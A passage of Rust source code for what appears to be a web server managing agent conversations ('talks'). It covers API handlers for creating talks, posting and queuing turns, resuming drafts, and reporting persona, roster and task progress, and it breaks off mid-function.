9043        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9044            .turns
9045            .iter()
9046            .map(|turn| {
9047                if turn.messages.is_empty() {
9048                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9049                } else {
9050                    turn.messages
9051                        .iter()
9052                        .map(|message| {
9053                            notice_markdown(
9054                                message.sender.unwrap_or(talk::Sender::Operator),
9055                                &message.body,
9056                                message.display.as_ref(),
9057                            )
9058                        })
9059                        .collect()
9060                }
9061            })
9062            .collect();
9063        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9064            .pending_messages
9065            .iter()
9066            .map(|message| {
9067                notice_markdown(
9068                    message.sender.unwrap_or(talk::Sender::Operator),
9069                    &message.body,
9070                    message.display.as_ref(),
9071                )
9072            })
9073            .collect();
9074        for nodes in &mut turn_bodies_md {
9075            references.markdown(nodes);
9076        }
9077        for nodes in turn_messages_md
9078            .iter_mut()
9079            .flatten()
9080            .chain(pending_messages_md.iter_mut())
9081            .flatten()
9082        {
9083            references.markdown(nodes);
9084        }
9085        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9086        let persona_name = persona::find(specs, &talk.persona)
9087            .filter(|p| !p.is_default())
9088            .map(|p| p.name);
9089        let mut avatar_persona = persona::find(specs, &talk.persona)
9090            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9091        // A removed configured persona may still have an override and old talks.
9092        if avatar_persona.id != talk.persona
9093            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9094        {
9095            avatar_persona.id.clone_from(&talk.persona);
9096            avatar_persona.icon = None;
9097        }
9098        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9099        let approvals_store = ask::Questions::at(home.join("questions"));
9100        let merge_approvals = talk
9101            .notified
9102            .iter()
9103            .filter_map(|key| key.strip_prefix("question:"))
9104            .filter_map(|id| approvals_store.get(id).ok())
9105            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9106            .filter_map(|q| {
9107                Some(ChatApproval {
9108                    question: q.id,
9109                    target: q.merge_target?,
9110                })
9111            })
9112            .collect();
9113        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9114        Self {
9115            turn_bodies_md,
9116            turn_messages_md,
9117            pending_messages_md,
9118            merge_approvals,
9119            thinking,
9120            context,
9121            operator_name,
9122            persona_name,
9123            persona_avatar,
9124            magi_avatar: magi_icon_url(home),
9125            operator_avatar: operator_icon_url(home),
9126            talk,
9127        }
9128    }
9129}
9130
9131/// Parse only the user-facing representation of an explicitly identified MAGI send.
9132fn notice_markdown(
9133    sender: talk::Sender,
9134    body: &str,
9135    display: Option<&crate::prompt::NoticeDisplay>,
9136) -> Option<Vec<md::Node>> {
9137    if sender != talk::Sender::Magi {
9138        return None;
9139    }
9140    let text = if let Some(display) = display {
9141        display.facts.as_str()
9142    } else {
9143        // Unknown completion templates may contain internal directives. Never
9144        // promote their agent input to the Markdown display surface.
9145        if crate::prompt::is_completion_notice(body)
9146            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9147        {
9148            return None;
9149        }
9150        body.strip_prefix("magi: ").unwrap_or(body)
9151    };
9152    Some(md::to_nodes(text, &md::ImageBase::None))
9153}
9154
9155/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9156/// conversation has filed, so the phone can follow one from inside the
9157/// conversation that asked for it rather than hunting the Queue for a task id
9158/// it may not remember.
9159#[derive(Debug, Serialize)]
9160struct TalkDetailView {
9161    #[serde(flatten)]
9162    view: TalkView,
9163    tasks: Vec<TaskView>,
9164    task_progress: TalkTaskProgress,
9165    goal_link: Option<TalkGoalLink>,
9166    goal_link_for: Timestamp,
9167    /// The agents this talk's repository can switch to; empty when its
9168    /// configuration cannot be read, which must not fail the whole detail.
9169    roster: Vec<RosterEntry>,
9170    /// The personas the conversation can pick from. The built-ins are always
9171    /// listed, even when the repository's configuration cannot be read.
9172    personas: Vec<PersonaEntry>,
9173}
9174
9175/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9176#[derive(Debug, Serialize)]
9177struct TalkTaskProgress {
9178    state: &'static str,
9179    total: usize,
9180    done: usize,
9181    counts: std::collections::BTreeMap<&'static str, usize>,
9182    unfinished_ids: Vec<String>,
9183}
9184
9185fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9186    let mut counts = std::collections::BTreeMap::from([
9187        ("queued", 0),
9188        ("running", 0),
9189        ("done", 0),
9190        ("failed", 0),
9191        ("held", 0),
9192        ("blocked", 0),
9193        ("parked", 0),
9194    ]);
9195    let mut unfinished_ids = Vec::new();
9196    for task in tasks {
9197        *counts.entry(task.status.as_str()).or_default() += 1;
9198        if task.status != TaskStatus::Done {
9199            unfinished_ids.push(task.id.clone());
9200        }
9201    }
9202    TalkTaskProgress {
9203        state: if tasks.is_empty() {
9204            "none"
9205        } else if unfinished_ids.is_empty() {
9206            "complete"
9207        } else {
9208            "incomplete"
9209        },
9210        total: tasks.len(),
9211        done: tasks.len() - unfinished_ids.len(),
9212        counts,
9213        unfinished_ids,
9214    }
9215}
9216
9217/// Prefer a referenced task's current Run or Task, then an explicitly
9218/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9219#[derive(Debug, Serialize)]
9220struct TalkGoalLink {
9221    goal: String,
9222    kind: &'static str,
9223    id: String,
9224}
9225
9226fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9227    let goal = crate::chat_goal::Goal::selected(talk)?;
9228    let repo = goal.effective_repo(&talk.repo);
9229    let valid_run = |id: &str| {
9230        plain_record_id(id)
9231            && read_run(runs, id).is_ok_and(|state| {
9232                state.id == id
9233                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9234            })
9235    };
9236    for id in goal.tasks.iter().rev() {
9237        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9238            continue;
9239        };
9240        // Repository reassignments retain historical runs. Only this task's
9241        // current execution can be presented as the goal's current Run.
9242        if let Some(run) = task.execution_runs().last()
9243            && valid_run(run)
9244        {
9245            return Some(TalkGoalLink {
9246                goal: goal.id.clone(),
9247                kind: "run",
9248                id: run.clone(),
9249            });
9250        }
9251        return Some(TalkGoalLink {
9252            goal: goal.id.clone(),
9253            kind: "task",
9254            id: task.id,
9255        });
9256    }
9257    for id in goal.runs.iter().rev() {
9258        if valid_run(id) {
9259            return Some(TalkGoalLink {
9260                goal: goal.id.clone(),
9261                kind: "run",
9262                id: id.clone(),
9263            });
9264        }
9265    }
9266    None
9267}
9268
9269/// One persona as the talk's persona selector shows it.
9270#[derive(Debug, Serialize)]
9271struct PersonaEntry {
9272    id: String,
9273    name: String,
9274    /// Avatar URL, see [`TalkView::persona_avatar`].
9275    avatar: String,
9276}
9277
9278/// One roster agent as the talk's agent selector shows it.
9279#[derive(Debug, Serialize)]
9280struct RosterEntry {
9281    id: String,
9282    kind: AgentKind,
9283    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9284    runnable: bool,
9285}
9286
9287/// Bounded summaries; `/page` carries a cursor for older membership.
9288async fn talks_list(
9289    State(ui): State<Arc<Ui>>,
9290    Query(q): Query<ListQuery>,
9291    headers: header::HeaderMap,
9292) -> ApiResult<Json<Vec<TalkListView>>> {
9293    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9294        let limit = q.limit.unwrap_or(50).min(50);
9295        let ids = if let Some(ids) = q.ids {
9296            ids.split(',')
9297                .filter(|id| plain_record_id(id))
9298                .take(limit)
9299                .map(str::to_owned)
9300                .collect()
9301        } else {
9302            page_ids(&ui, true, PageQuery::default())?
9303                .0
9304                .into_iter()
9305                .take(limit.min(STORE_PAGE_SIZE))
9306                .collect()
9307        };
9308        Ok(Json(talk_rows(&ui, ids, &headers)))
9309    })
9310    .await
9311}
9312
9313/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9314/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9315/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9316/// end still opens a talk against an older binary.
9317#[derive(Debug, Default, Deserialize)]
9318#[serde(default)]
9319struct NewTalk {
9320    agent: Option<String>,
9321    repo: Option<PathBuf>,
9322    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9323    /// wrong type is dropped like a stale value instead of failing the request;
9324    /// each falls back to its default on its own (see [`talk::begin_with`]).
9325    preferred_agent: Option<serde_json::Value>,
9326    persona: Option<serde_json::Value>,
9327    implementers: Option<serde_json::Value>,
9328}
9329
9330/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9331/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9332async fn talk_post(
9333    State(ui): State<Arc<Ui>>,
9334    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9335) -> ApiResult<impl IntoResponse> {
9336    // An absent body, or an empty one, is the normal way to open a talk - see
9337    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9338    // rather than refused.
9339    let body = match body {
9340        Ok(Json(body)) => body,
9341        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9342        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9343    };
9344    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9345    let cfg = config_for(&repo).await?;
9346    let view = blocking(move || {
9347        let preferred = talk::Preferred {
9348            agent: body
9349                .preferred_agent
9350                .as_ref()
9351                .and_then(|v| v.as_str())
9352                .map(str::to_owned),
9353            persona: body
9354                .persona
9355                .as_ref()
9356                .and_then(|v| v.as_str())
9357                .map(str::to_owned),
9358            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9359        };
9360        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9361        let thinking = ui.is_thinking(&talk.id);
9362        Ok(TalkView::new(talk, thinking, &ui))
9363    })
9364    .await?;
9365    Ok((StatusCode::CREATED, Json(view)))
9366}
9367
9368/// Transcript first: unrelated queue history and repository probes are deferred.
9369async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9370    // Keep transcript reads independent of sections and the runtime blocking pool.
9371    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9372        let id = resolve_talk(&ui.talks, &id)?;
9373        let talk = ui.talks.get(&id)?;
9374        let thinking = ui.is_thinking_observed(&id);
9375        // The browser already resolves Markdown text/code references after
9376        // rendering. A cold reference/review index must not gate the transcript.
9377        Ok(Json(TalkView::with_references(
9378            talk,
9379            thinking,
9380            None,
9381            &ui.home,
9382            &id_links::IdIndex::default(),
9383        )))
9384    })
9385    .await
9386}
9387
9388async fn talk_sections(
9389    State(ui): State<Arc<Ui>>,
9390    Path(id): Path<String>,
9391) -> ApiResult<Json<serde_json::Value>> {
9392    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9393        let id = resolve_talk(&ui.talks, &id)?;
9394        let talk = ui.talks.get(&id)?;
9395        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9396        let task_progress = talk_task_progress(&tasks);
9397        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9398        let tasks: Vec<_> = tasks
9399            .into_iter()
9400            .map(|task| {
9401                serde_json::json!({
9402                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9403                })
9404            })
9405            .collect();
9406        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9407        let roster: Vec<_> = cfg
9408            .as_ref()
9409            .map(|cfg| {
9410                cfg.agents
9411                    .iter()
9412                    .map(|a| RosterEntry {
9413                        id: a.id.clone(),
9414                        kind: a.kind,
9415                        runnable: agent::installed(a),
9416                    })
9417                    .collect()
9418            })
9419            .unwrap_or_default();
9420        let specs = cfg
9421            .as_ref()
9422            .map(|cfg| cfg.talk.personas.clone())
9423            .unwrap_or_default();
9424        let personas: Vec<_> = persona::catalog(&specs)
9425            .into_iter()
9426            .map(|p| PersonaEntry {
9427                avatar: avatar_url(&ui.home, &talk.id, &p),
9428                id: p.id,
9429                name: p.name,
9430            })
9431            .collect();
9432        let active_persona = persona::find(&specs, &talk.persona)
9433            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9434        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9435        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9436        Ok(Json(serde_json::json!({
9437            "tasks": tasks, "task_progress": task_progress,
9438            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9439            "roster": roster, "personas": personas,
9440            "context": talk::context_usage(&talk, cfg.as_ref()),
9441            "context_for": talk.updated_at,
9442            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9443            "persona_name": persona_name,
9444            "persona_avatar": persona_avatar,
9445        })))
9446    })
9447    .await
9448}
9449
9450/// `GET /api/talks/{id}`.
9451async fn talk_detail(
9452    State(ui): State<Arc<Ui>>,
9453    Path(id): Path<String>,
9454) -> ApiResult<Json<TalkDetailView>> {
9455    blocking(move || {
9456        let id = resolve_talk(&ui.talks, &id)?;
9457        let talk = ui.talks.get(&id)?;
9458        let thinking = ui.is_thinking_observed(&talk.id);
9459        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9460        let task_progress = talk_task_progress(&tasks);
9461        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9462        let goal_link_for = talk.updated_at;
9463        let tasks = tasks.into_iter().map(TaskView::from).collect();
9464        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9465        let roster = cfg
9466            .as_ref()
9467            .map(|cfg| {
9468                cfg.agents
9469                    .iter()
9470                    .map(|a| RosterEntry {
9471                        id: a.id.clone(),
9472                        kind: a.kind,
9473                        runnable: agent::installed(a),
9474                    })
9475                    .collect()
9476            })
9477            .unwrap_or_default();
9478        let specs = cfg
9479            .as_ref()
9480            .map(|cfg| cfg.talk.personas.clone())
9481            .unwrap_or_default();
9482        let personas = persona::catalog(&specs)
9483            .into_iter()
9484            .map(|p| PersonaEntry {
9485                avatar: avatar_url(&ui.home, &talk.id, &p),
9486                id: p.id,
9487                name: p.name,
9488            })
9489            .collect();
9490        Ok(Json(TalkDetailView {
9491            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9492            tasks,
9493            task_progress,
9494            goal_link,
9495            goal_link_for,
9496            roster,
9497            personas,
9498        }))
9499    })
9500    .await
9501}
9502
9503/// The body of `POST /api/talks/{id}/say`.
9504///
9505/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9506/// returned - never bytes of its own - so a turn with no images just omits
9507/// the field, which is what an older front end still does.
9508#[derive(Debug, Default, Deserialize)]
9509#[serde(default, deny_unknown_fields)]
9510struct NewTalkTurn {
9511    reply_to: Option<talk::ReplyTarget>,
9512    text: String,
9513    attachments: Vec<String>,
9514}
9515
9516#[derive(Debug, Deserialize)]
9517#[serde(deny_unknown_fields)]
9518struct EditTalkPending {
9519    #[serde(default)]
9520    message: Option<usize>,
9521    text: String,
9522    expected_text: String,
9523    expected_attachments: Vec<String>,
9524}
9525
9526#[derive(Debug, Deserialize)]
9527#[serde(deny_unknown_fields)]
9528struct ClearTalkPending {
9529    expected_text: String,
9530    expected_attachments: Vec<String>,
9531}
9532
9533/// `POST /api/talks/{id}/say` - one turn of the conversation.
9534///
9535/// Not filesystem work, and therefore not routed through [`blocking`]: this
9536/// route spawns an agent CLI and a turn here can run for the whole of
9537/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9538/// research turn is expected to run commands rather than answer from what it
9539/// already knows. Holding an HTTP connection open that long is not a thing
9540/// to ask a phone to do; the operator's message is recorded and answered for
9541/// immediately, and the reply lands in the background, discovered through
9542/// the change stream's `talks_rev` the same way every other update on this
9543/// surface is.
9544async fn talk_say(
9545    State(ui): State<Arc<Ui>>,
9546    Path(id): Path<String>,
9547    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9548) -> ApiResult<(StatusCode, Json<TalkView>)> {
9549    let admission = ui.begin_admission()?;
9550    admitted(admission, async move {
9551    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9552    if body.text.trim().is_empty() && body.attachments.is_empty() {
9553        return Err(ApiError::bad_request("say something"));
9554    }
9555
9556    let id = {
9557        let ui = Arc::clone(&ui);
9558        let asked = id.clone();
9559        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9560    };
9561    // A closed Talk never accepts a new immediate or queued turn. Check this
9562    // before claiming a slot so its ordinary domain refusal is a 409, not an
9563    // incidental failure from the later record/queue write.
9564    {
9565        let ui = Arc::clone(&ui);
9566        let id = id.clone();
9567        blocking(move || {
9568            let talk = ui.talks.get(&id)?;
9569            if !talk.status.open() {
9570                return Err(ApiError::conflict(format!(
9571                    "talk {} is {} and takes no more turns",
9572                    talk.short(),
9573                    talk.status.as_str()
9574                )));
9575            }
9576            Ok(())
9577        })
9578        .await?;
9579    }
9580
9581    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9582    // actually stores, before anything is written - an unknown id is a 4xx
9583    // that names it rather than a turn (or a queued draft) silently missing
9584    // an image.
9585    let attachments = {
9586        let ui = Arc::clone(&ui);
9587        let id = id.clone();
9588        let ids = body.attachments.clone();
9589        blocking(move || {
9590            ids.into_iter()
9591                .map(|att_id| {
9592                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9593                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9594                    })
9595                })
9596                .collect::<ApiResult<Vec<talk::Attachment>>>()
9597        })
9598        .await?
9599    };
9600    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9601        .await.map_err(ApiError::from)?;
9602
9603    // Pending recovery and a new immediate turn are decided under the same
9604    // claim lock. Without that one critical section, a second `/say` can see
9605    // the first request's claim as "busy" and append itself to the recovered
9606    // draft before the first request rejects it.
9607    let start = {
9608        let ui = Arc::clone(&ui);
9609        let id = id.clone();
9610        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9611    };
9612    let turn_guard = match start {
9613        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9614        TalkTurnStart::Pending => {
9615            return Err(ApiError::conflict(
9616                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9617            ));
9618        }
9619        TalkTurnStart::Foreign => {
9620            return Err(ApiError::conflict(
9621                "a turn is already running in another process; try again when it has finished",
9622            ));
9623        }
9624        TalkTurnStart::Busy => {
9625            // A turn is already running: queue rather than refuse. See
9626            // `Ui::begin_talk_turn` and `talk::queue`.
9627            //
9628            // The queue write and the drain it may owe live inside the task
9629            // `tokio::spawn` hands to the runtime, for the same reason the
9630            // immediate path below puts `record` there: a dropped handler
9631            // future must not be able to land between a durable write and
9632            // the task that answers it. `blocking` runs its closure on
9633            // `spawn_blocking`, which finishes whether or not anyone is left
9634            // to receive its result - so a disconnect at the `.await` below
9635            // would otherwise leave the draft persisted and the reclaimed
9636            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9637            // ever started and the queued text stranded until some later
9638            // `say` happened to pick it up. The caller's 202 travels back
9639            // over a `oneshot`, sent the moment the write lands.
9640            let (tx, rx) = tokio::sync::oneshot::channel();
9641            tokio::spawn({
9642                let ui = Arc::clone(&ui);
9643                let id = id.clone();
9644                let said = body.text.clone();
9645                let reply_to = body.reply_to.clone();
9646                async move {
9647                    let written = blocking({
9648                        let ui = Arc::clone(&ui);
9649                        let id = id.clone();
9650                        move || {
9651                            let mut talk = ui.talks.get(&id)?;
9652                            // A test-only stop point, right before the write
9653                            // an interleaving test needs to pin - see
9654                            // `BusyQueueGate`. `None` in every real server:
9655                            // the field only exists under `#[cfg(test)]`.
9656                            #[cfg(test)]
9657                            if let Some(gate) = ui
9658                                .busy_queue_gate
9659                                .lock()
9660                                .unwrap_or_else(PoisonError::into_inner)
9661                                .take()
9662                            {
9663                                let _ = gate.reached.send(());
9664                                let _ = gate.release.recv();
9665                            }
9666                            if let Err(error) = talk::queue_reply(
9667                                &mut talk,
9668                                &ui.talks,
9669                                &said,
9670                                attachments,
9671                                reply_to,
9672                            ) {
9673                                if let Ok(fresh) = ui.talks.get(&id) {
9674                                    if !fresh.status.open() {
9675                                        return Err(ApiError::conflict(format!(
9676                                            "talk {} is {} and takes no more turns",
9677                                            fresh.short(),
9678                                            fresh.status.as_str()
9679                                        )));
9680                                    }
9681                                }
9682                                return Err(
9683                                    if error.to_string().contains("invalid reply target") {
9684                                        ApiError::bad_request("invalid reply target")
9685                                    } else {
9686                                        ApiError::from(error)
9687                                    },
9688                                );
9689                            }
9690                            // The turn that looked busy a moment ago can have
9691                            // finished, found nothing to drain and given up the
9692                            // slot in the gap between that check and this write
9693                            // landing - see `drain_loop`'s own doc for the other
9694                            // half of why that gap would otherwise be able to
9695                            // open at all. Reclaiming the slot here, rather than
9696                            // trusting that whoever held it is still watching, is
9697                            // what stops the text just queued from being stranded
9698                            // until an unrelated future `say` happens to drain
9699                            // it.
9700                            let claim = match ui.begin_queued_talk_turn(&id)? {
9701                                Some(turn_guard) => {
9702                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9703                                    Some((talk.clone(), cfg, turn_guard))
9704                                }
9705                                None => None,
9706                            };
9707                            let thinking = ui.is_thinking(&id);
9708                            Ok((TalkView::new(talk, thinking, &ui), claim))
9709                        }
9710                    })
9711                    .await;
9712                    #[cfg(not(test))]
9713                    {
9714                        match written {
9715                            Ok((view, reclaimed)) => {
9716                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9717                                drop(reclaimed);
9718                                match launched {
9719                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9720                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9721                                }
9722                            }
9723                            Err(error) => { let _ = tx.send(Err(error)); }
9724                        }
9725                    }
9726                    #[cfg(test)]
9727                    {
9728                    let (view, reclaimed) = match written {
9729                        Ok(pair) => pair,
9730                        Err(e) => {
9731                            // Nobody is listening if the handler's own future
9732                            // was already dropped - that is fine, nothing was
9733                            // persisted and there is no response left to carry
9734                            // this error to.
9735                            let _ = tx.send(Err(e));
9736                            return;
9737                        }
9738                    };
9739                    // If this fails, the caller is gone; the drain below still
9740                    // runs exactly as it would have for a caller that stayed.
9741                    let _ = tx.send(Ok(view));
9742                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9743                        let talks = ui.talks.clone();
9744                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9745                    }
9746                    }
9747                }
9748            });
9749            let view = rx
9750                .await
9751                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9752            return Ok((StatusCode::ACCEPTED, Json(view)));
9753        }
9754    };
9755
9756    let (talk, cfg) = {
9757        let ui = Arc::clone(&ui);
9758        let id = id.clone();
9759        blocking(move || {
9760            let talk = ui.talks.get(&id)?;
9761            let (cfg, _) = Config::discover(&talk.repo, None)?;
9762            Ok((talk, cfg))
9763        })
9764        .await?
9765    };
9766
9767    let talks = ui.talks.clone();
9768    // `record` runs *inside* the spawned task, rather than in this handler
9769    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9770    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9771    // doc), and that drop can land at any `.await` this function makes,
9772    // including one that has already produced its result but not yet
9773    // resumed. A message could end up recorded on disk with the handler
9774    // future gone before it ever reached the `tokio::spawn` that would have
9775    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9776    // that hands the whole future to the runtime as one unit - once made, no
9777    // later drop of *this* handler's own future (that call's return value is
9778    // never held onto here) can reach back in and stop it, so record and the
9779    // hand-off to `respond` are unconditionally atomic from the client's
9780    // point of view. The immediate response this handler owes the caller
9781    // travels back over a `oneshot`, sent the moment `record` succeeds.
9782    let (tx, rx) = tokio::sync::oneshot::channel();
9783    tokio::spawn({
9784        #[cfg(test)]
9785        let ui = Arc::clone(&ui);
9786        let talks = talks.clone();
9787        let id = id.clone();
9788        let said = body.text.clone();
9789        let reply_to = body.reply_to.clone();
9790        let mut talk = talk.clone();
9791        async move {
9792            let recorded = blocking({
9793                let talks = talks.clone();
9794                move || {
9795                    if let Err(error) =
9796                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9797                    {
9798                        if let Ok(fresh) = talks.get(&talk.id) {
9799                            if !fresh.status.open() {
9800                                return Err(ApiError::conflict(format!(
9801                                    "talk {} is {} and takes no more turns",
9802                                    fresh.short(),
9803                                    fresh.status.as_str()
9804                                )));
9805                            }
9806                        }
9807                        return Err(if error.to_string().contains("invalid reply target") {
9808                            ApiError::bad_request("invalid reply target")
9809                        } else {
9810                            ApiError::from(error)
9811                        });
9812                    }
9813                    // `record` mutates `talk` in place to the freshly persisted
9814                    // state (status, pending, and the just-appended operator
9815                    // turn), so returning it here is equivalent to re-reading it
9816                    // from disk - without the extra round trip a re-read would
9817                    // need.
9818                    Ok((said.trim().to_owned(), talk))
9819                }
9820            })
9821            .await;
9822            let (text, talk) = match recorded {
9823                Ok(pair) => pair,
9824                Err(e) => {
9825                    // Nobody is listening if the handler's own future was
9826                    // already dropped - that is fine, there is no response
9827                    // left to carry this error to and nothing was persisted.
9828                    let _ = tx.send(Err(e));
9829                    return;
9830                }
9831            };
9832            #[cfg(not(test))]
9833            {
9834                let _ = (&cfg, &text);
9835                // The reservation becomes durable while this process still
9836                // holds the talk lease. The child waits for that lease; the
9837                // new UI sees its startup reservation immediately.
9838                let result = crate::chat_worker::spawn_recorded_turn(
9839                    &talks, &id, talk.turns.len() - 1,
9840                ).await;
9841                drop(turn_guard);
9842                match result {
9843                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9844                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9845                }
9846            }
9847            #[cfg(test)]
9848            {
9849            let queued = talk.clone();
9850            let mut talk = talk;
9851            let thinking = ui.is_thinking(&id);
9852            // If this fails, the caller is gone; the turn still runs below
9853            // exactly as it would have for a caller that stayed connected.
9854            let _ = tx.send(Ok((queued, thinking)));
9855
9856            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9857                // `respond` records the failure in the transcript itself,
9858                // which is what the phone reads; this line is for the
9859                // operator's terminal.
9860                tracing::warn!("talk {id} turn failed: {e:#}");
9861            }
9862            // Anything `talk::queue` added while the turn above was running
9863            // is still owed an answer - see `drain_loop`.
9864            drain_loop(talk, talks, cfg, id, turn_guard).await;
9865            }
9866        }
9867    });
9868
9869    let (queued, thinking) = rx
9870        .await
9871        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9872
9873    // 202: the operator's message is recorded and a turn is running.
9874    Ok((
9875        StatusCode::ACCEPTED,
9876        Json(TalkView::new(queued, thinking, &ui)),
9877    ))
9878    }).await
9879}
9880
9881/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9882/// changing it. The turn guard is the same per-talk ownership `talk_say`
9883/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9884async fn talk_pending_resume(
9885    State(ui): State<Arc<Ui>>,
9886    Path(id): Path<String>,
9887) -> ApiResult<(StatusCode, Json<TalkView>)> {
9888    let admission = ui.begin_admission()?;
9889    admitted(admission, async move {
9890        let id = {
9891            let ui = Arc::clone(&ui);
9892            let asked = id.clone();
9893            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9894        };
9895        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9896            .await
9897            .map_err(ApiError::from)?;
9898        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9899            return Err(ApiError::conflict(
9900                "a talk turn is already running; the queued draft will be handled by it",
9901            ));
9902        };
9903        let (talk, cfg) = {
9904            let ui = Arc::clone(&ui);
9905            let id = id.clone();
9906            blocking(move || {
9907                let talk = ui.talks.get(&id)?;
9908                if !talk.status.open() {
9909                    return Err(ApiError::conflict(format!(
9910                        "talk {} is {} and takes no more turns",
9911                        talk.short(),
9912                        talk.status.as_str()
9913                    )));
9914                }
9915                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9916                    return Err(ApiError::conflict("there is no queued draft to resume"));
9917                }
9918                let (cfg, _) = Config::discover(&talk.repo, None)?;
9919                Ok((talk, cfg))
9920            })
9921            .await?
9922        };
9923        let view = TalkView::new(talk.clone(), true, &ui);
9924        let talks = ui.talks.clone();
9925        #[cfg(not(test))]
9926        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9927        #[cfg(test)]
9928        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9929        Ok((StatusCode::ACCEPTED, Json(view)))
9930    })
9931    .await
9932}
9933
9934/// Hand off an admitted draft while retaining the talk lease until its
9935/// detached startup reservation is durable.
9936#[cfg(not(test))]
9937async fn detach_talk_turn(
9938    _talk: Talk,
9939    talks: Talks,
9940    _cfg: Config,
9941    id: String,
9942    turn: TalkTurnGuard,
9943) -> ApiResult<()> {
9944    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9945    drop(turn);
9946    launched.map(|_| ()).map_err(ApiError::from)
9947}
9948
9949#[cfg(test)]
9950async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9951    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9952}
9953
9954/// A settings response must not report idle while its claim is still held.
9955/// Wait until the first drain either releases the claim or promotes a draft.
9956/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9957async fn settle_settings_turn(
9958    talk: Talk,
9959    talks: Talks,
9960    cfg: Config,
9961    id: String,
9962    turn: TalkTurnGuard,
9963    observed: u64,
9964) -> bool {
9965    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9966        let turns = Arc::clone(&turn.turns);
